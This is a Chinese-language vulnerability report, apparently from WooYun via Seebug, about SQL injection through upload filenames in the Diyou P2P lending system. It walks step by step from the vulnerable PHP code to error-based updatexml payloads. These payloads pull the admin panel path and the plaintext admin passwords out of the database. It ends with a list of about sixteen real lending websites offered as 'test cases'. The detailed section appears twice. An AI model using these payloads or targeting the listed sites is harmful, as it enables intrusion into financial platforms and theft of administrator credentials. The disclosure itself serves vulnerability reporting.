### 简要描述: 帝友P2P借货系统全局问题造成多处注入之2(无视360防御/gpc/受长度限制)附加整套系统数据库分析 从注入一步步到后台拿shell,分析数据库,注入出后台地址和管理员密码明文 ### 详细说明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\upload.class.php ``` function upfile($data = array()){ global $mysql; $error = ""; if (!isset($data['file'])) return ""; $filename = isset($data['filename'])?$data['filename']:""; $file = $data['file']; if(!isset($_FILES[$file]['name'])) return ""; $this->setData($data); $newDir = ROOT_PATH.$this->file_dir; $err_var = array("-2"=>"文件不存在","-3"=>"图片类型不正确","-4"=>"不是图片类型","-5"=>"上传图片过大"); if (is_array($_FILES[$file]['name'])){ $_result = array(); foreach($_FILES[$file]['name'] as $i =>$value){ if ($value!=""){ $this->img_type = strtolower(substr($_FILES[$file]['name'][$i],-3,3)); if ($_FILES[$file]['size'][$i]==0) $error = -2; if(!in_array($this->img_type,$this->file_type)) $error = -3; if(strpos($_FILES[$file]['type'][$i],'image')===false) $error = -4; if($_FILES[$file]['size'][$i] >$this->file_size*1024) $error = -5;...
### 简要描述: 帝友P2P借货系统全局问题造成多处注入之2(无视360防御/gpc/受长度限制)附加整套系统数据库分析 从注入一步步到后台拿shell,分析数据库,注入出后台地址和管理员密码明文 ### 详细说明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\upload.class.php ``` function upfile($data = array()){ global $mysql; $error = ""; if (!isset($data['file'])) return ""; $filename = isset($data['filename'])?$data['filename']:""; $file = $data['file']; if(!isset($_FILES[$file]['name'])) return ""; $this->setData($data); $newDir = ROOT_PATH.$this->file_dir; $err_var = array("-2"=>"文件不存在","-3"=>"图片类型不正确","-4"=>"不是图片类型","-5"=>"上传图片过大"); if (is_array($_FILES[$file]['name'])){ $_result = array(); foreach($_FILES[$file]['name'] as $i =>$value){ if ($value!=""){ $this->img_type = strtolower(substr($_FILES[$file]['name'][$i],-3,3)); if ($_FILES[$file]['size'][$i]==0) $error = -2; if(!in_array($this->img_type,$this->file_type)) $error = -3; if(strpos($_FILES[$file]['type'][$i],'image')===false) $error = -4; if($_FILES[$file]['size'][$i] >$this->file_size*1024) $error = -5; if($_FILES[$file]['error'][$i] !=0 ) $error = -2; $this->_mkdirs($this->file_dir); $newFile = $this->file_newname.$i.substr($_FILES[$file]['name'][$i],-4,4); $oldFile = $_FILES[$file]['name'][$i]; $allFile = $newDir.$newFile; if ($error<0){ echo "<script>alert('".$err_var[$error]."');history.go(-1);</script>"; exit; } if(function_exists('move_uploaded_file')){ $result = move_uploaded_file($_FILES[$file]['tmp_name'][$i],$allFile); }else{ @copy($_FILES[$file]['tmp_name'][$i],$allFile); } $this->setSrcImg($allFile); $this->setCutimg(); $this->setDstImg($allFile); $this->_createMask(); $this->_output(); if($data['name'][$i]==""){ $_name = $oldFile; }else{ $_name = $data['name'][$i]; } if ($error==""){ $sql = "insert into `{users_upfiles}` set code='{$data['code']}',type='{$data['type']}',article_id='{$data['article_id']}',user_id='{$data['user_id']}',`name`='{$_name}',filesize='{$_FILES[$file]['size'][$i]}',filetype='{$this->img_type}',fileurl='".$this->file_dir.$newFile."',filename='".$newFile."',`addtime` = '".time()."', `updatetime` = '".time()."',`addip` = '".ip_address()."',`updateip` = '".ip_address()."'"; $mysql ->db_query($sql); $upfiles_id = $mysql->db_insert_id(); $_result[$i]['filename'] = $this->file_dir.$newFile; $_result[$i]['upfiles_id'] = $upfiles_id; } } } return $_result; ``` 获取文件名没有过滤过滤,只是验证最后三位是否为合法后续,我们搜索下有哪处调用了 [<img src="https://images.seebug.org/upload/201508/10213040092060486eca007e98ecb59b81f7ee46.jpg" alt="QQ截图20150810212950.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213040092060486eca007e98ecb59b81f7ee46.jpg) 可以看到搜索出很多处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一) 找一处实名认证的来测试 文件地址是/core/approve/approve.class.php中 ``` unction AddRealname($data){ global $mysql; if ($data["pic_result"]=="") return ""; foreach ($data["pic_result"] as $key => $value){ $sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'"; $mysql->db_query($sql); } return $data['type_id']; ``` ``` $sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'"; ``` 这里是把文件名带入查询了,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE 可无视360webscan还有gpc。 打开实名认证那块测试注入 http://127.0.0.1/?user&q=code/approve/realname [<img src="https://images.seebug.org/upload/201508/102135270e1507de56bab1866ab8283bfcef1d66.jpg" alt="QQ截图20150810213449.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102135270e1507de56bab1866ab8283bfcef1d66.jpg) 提交,用burp截包。 然后1.jpg这样改为1'jpg就可以了 可以看到报错了 [<img src="https://images.seebug.org/upload/201508/10213654246f5e37ad930c6aac00e1378805aaf7.jpg" alt="QQ截图20150810213603.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213654246f5e37ad930c6aac00e1378805aaf7.jpg) 试试构造exp,union select是不行的了,可以试试updatexml <code0' or updatexml(1,concat(0x7e,(version())),0) or 'jpg</code> 可以爆出数据了 [<img src="https://images.seebug.org/upload/201508/102137592a8a60d3a9b0028f00ad1c3bb1706611.jpg" alt="QQ截图20150810213710.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102137592a8a60d3a9b0028f00ad1c3bb1706611.jpg) -------------------------------------------------- 数据库篇 帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。 配置文件内容在yyd_system这个表中 [<img src="https://images.seebug.org/upload/201508/10213920d07d4ef223ad6bf3f06dbb9fa22b7954.jpg" alt="QQ截图20150810213808.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213920d07d4ef223ad6bf3f06dbb9fa22b7954.jpg) 找到了,我们试试用注入爆出来看看 EXP: ``` 0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' jpg ``` [<img src="https://images.seebug.org/upload/201508/102140475a381c79cc223dd89a43118302208bd6.jpg" alt="QQ截图20150810213951.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102140475a381c79cc223dd89a43118302208bd6.jpg) 可以看到爆出了 (~admin) 管理员我就不测试爆出了。 我们来看看数据库哪里存在了明文存储 表:yyd_users_adminlog 这个是管理员登陆日志来的,明文记录了密码 [<img src="https://images.seebug.org/upload/201508/102142004dd7690505fdbef312b6986d9910923e.jpg" alt="QQ截图20150810214100.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102142004dd7690505fdbef312b6986d9910923e.jpg) EXP: ``` 0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' jpg ``` 可以看到爆出来 [<img src="https://images.seebug.org/upload/201508/1021432412c56bd8accbaa0a8bee1eae2759c62f.jpg" alt="QQ截图20150810214233.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/1021432412c56bd8accbaa0a8bee1eae2759c62f.jpg) 有时太长爆的不完整,可以用substr来截取。 -------------------------- 拿shell篇 查考 [WooYun: 帝友P2P借货系统全局问题造成多处注入(无视360防御/gpc/受长度限制)](http://www.wooyun.org/bugs/wooyun-2015-0132456) 的 ---------------------------- 案例篇(送十几个测试案例) ``` www.bliwang.com www.p2phx.com www.zhengdaguquan.com www.lcbang.cn www.zndai.com www.cnzyzb.com www.jinmaoweidai.com www.mirong.com www.ronghedai.com www.woziben.com www.khcaifu.com www.leyuancaifu.com www.daidaicn.com www.shicaidai.com www.yingjiudai.com www.gdqilian.com ``` 手好累,打了那么长的分析过程 ### 漏洞证明: --------------------------- 注入篇 首先看看全局文件出现的问题 core\upload.class.php ``` function upfile($data = array()){ global $mysql; $error = ""; if (!isset($data['file'])) return ""; $filename = isset($data['filename'])?$data['filename']:""; $file = $data['file']; if(!isset($_FILES[$file]['name'])) return ""; $this->setData($data); $newDir = ROOT_PATH.$this->file_dir; $err_var = array("-2"=>"文件不存在","-3"=>"图片类型不正确","-4"=>"不是图片类型","-5"=>"上传图片过大"); if (is_array($_FILES[$file]['name'])){ $_result = array(); foreach($_FILES[$file]['name'] as $i =>$value){ if ($value!=""){ $this->img_type = strtolower(substr($_FILES[$file]['name'][$i],-3,3)); if ($_FILES[$file]['size'][$i]==0) $error = -2; if(!in_array($this->img_type,$this->file_type)) $error = -3; if(strpos($_FILES[$file]['type'][$i],'image')===false) $error = -4; if($_FILES[$file]['size'][$i] >$this->file_size*1024) $error = -5; if($_FILES[$file]['error'][$i] !=0 ) $error = -2; $this->_mkdirs($this->file_dir); $newFile = $this->file_newname.$i.substr($_FILES[$file]['name'][$i],-4,4); $oldFile = $_FILES[$file]['name'][$i]; $allFile = $newDir.$newFile; if ($error<0){ echo "<script>alert('".$err_var[$error]."');history.go(-1);</script>"; exit; } if(function_exists('move_uploaded_file')){ $result = move_uploaded_file($_FILES[$file]['tmp_name'][$i],$allFile); }else{ @copy($_FILES[$file]['tmp_name'][$i],$allFile); } $this->setSrcImg($allFile); $this->setCutimg(); $this->setDstImg($allFile); $this->_createMask(); $this->_output(); if($data['name'][$i]==""){ $_name = $oldFile; }else{ $_name = $data['name'][$i]; } if ($error==""){ $sql = "insert into `{users_upfiles}` set code='{$data['code']}',type='{$data['type']}',article_id='{$data['article_id']}',user_id='{$data['user_id']}',`name`='{$_name}',filesize='{$_FILES[$file]['size'][$i]}',filetype='{$this->img_type}',fileurl='".$this->file_dir.$newFile."',filename='".$newFile."',`addtime` = '".time()."', `updatetime` = '".time()."',`addip` = '".ip_address()."',`updateip` = '".ip_address()."'"; $mysql ->db_query($sql); $upfiles_id = $mysql->db_insert_id(); $_result[$i]['filename'] = $this->file_dir.$newFile; $_result[$i]['upfiles_id'] = $upfiles_id; } } } return $_result; ``` 获取文件名没有过滤过滤,只是验证最后三位是否为合法后续,我们搜索下有哪处调用了 [<img src="https://images.seebug.org/upload/201508/10213040092060486eca007e98ecb59b81f7ee46.jpg" alt="QQ截图20150810212950.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213040092060486eca007e98ecb59b81f7ee46.jpg) 可以看到搜索出很多处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一) 找一处实名认证的来测试 文件地址是/core/approve/approve.class.php中 ``` unction AddRealname($data){ global $mysql; if ($data["pic_result"]=="") return ""; foreach ($data["pic_result"] as $key => $value){ $sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'"; $mysql->db_query($sql); } return $data['type_id']; ``` ``` $sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'"; ``` 这里是把文件名带入查询了,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE 可无视360webscan还有gpc。 打开实名认证那块测试注入 http://127.0.0.1/?user&q=code/approve/realname [<img src="https://images.seebug.org/upload/201508/102135270e1507de56bab1866ab8283bfcef1d66.jpg" alt="QQ截图20150810213449.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102135270e1507de56bab1866ab8283bfcef1d66.jpg) 提交,用burp截包。 然后1.jpg这样改为1'jpg就可以了 可以看到报错了 [<img src="https://images.seebug.org/upload/201508/10213654246f5e37ad930c6aac00e1378805aaf7.jpg" alt="QQ截图20150810213603.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213654246f5e37ad930c6aac00e1378805aaf7.jpg) 试试构造exp,union select是不行的了,可以试试updatexml <code0' or updatexml(1,concat(0x7e,(version())),0) or 'jpg</code> 可以爆出数据了 [<img src="https://images.seebug.org/upload/201508/102137592a8a60d3a9b0028f00ad1c3bb1706611.jpg" alt="QQ截图20150810213710.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102137592a8a60d3a9b0028f00ad1c3bb1706611.jpg) -------------------------------------------------- 数据库篇 帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。 配置文件内容在yyd_system这个表中 [<img src="https://images.seebug.org/upload/201508/10213920d07d4ef223ad6bf3f06dbb9fa22b7954.jpg" alt="QQ截图20150810213808.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/10213920d07d4ef223ad6bf3f06dbb9fa22b7954.jpg) 找到了,我们试试用注入爆出来看看 EXP: ``` 0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' jpg ``` [<img src="https://images.seebug.org/upload/201508/102140475a381c79cc223dd89a43118302208bd6.jpg" alt="QQ截图20150810213951.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102140475a381c79cc223dd89a43118302208bd6.jpg) 可以看到爆出了 (~admin) 管理员我就不测试爆出了。 我们来看看数据库哪里存在了明文存储 表:yyd_users_adminlog 这个是管理员登陆日志来的,明文记录了密码 [<img src="https://images.seebug.org/upload/201508/102142004dd7690505fdbef312b6986d9910923e.jpg" alt="QQ截图20150810214100.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/102142004dd7690505fdbef312b6986d9910923e.jpg) EXP: ``` 0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' jpg ``` 可以看到爆出来 [<img src="https://images.seebug.org/upload/201508/1021432412c56bd8accbaa0a8bee1eae2759c62f.jpg" alt="QQ截图20150810214233.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/1021432412c56bd8accbaa0a8bee1eae2759c62f.jpg) 有时太长爆的不完整,可以用substr来截取。 -------------------------- 拿shell篇 查考 [WooYun: 帝友P2P借货系统全局问题造成多处注入(无视360防御/gpc/受长度限制)](http://www.wooyun.org/bugs/wooyun-2015-0132456) 的 ---------------------------- 案例篇(送十几个测试案例) ``` www.bliwang.com www.p2phx.com www.zhengdaguquan.com www.lcbang.cn www.zndai.com www.cnzyzb.com www.jinmaoweidai.com www.mirong.com www.ronghedai.com www.woziben.com www.khcaifu.com www.leyuancaifu.com www.daidaicn.com www.shicaidai.com www.yingjiudai.com www.gdqilian.com ``` 手好累,打了那么长的分析过程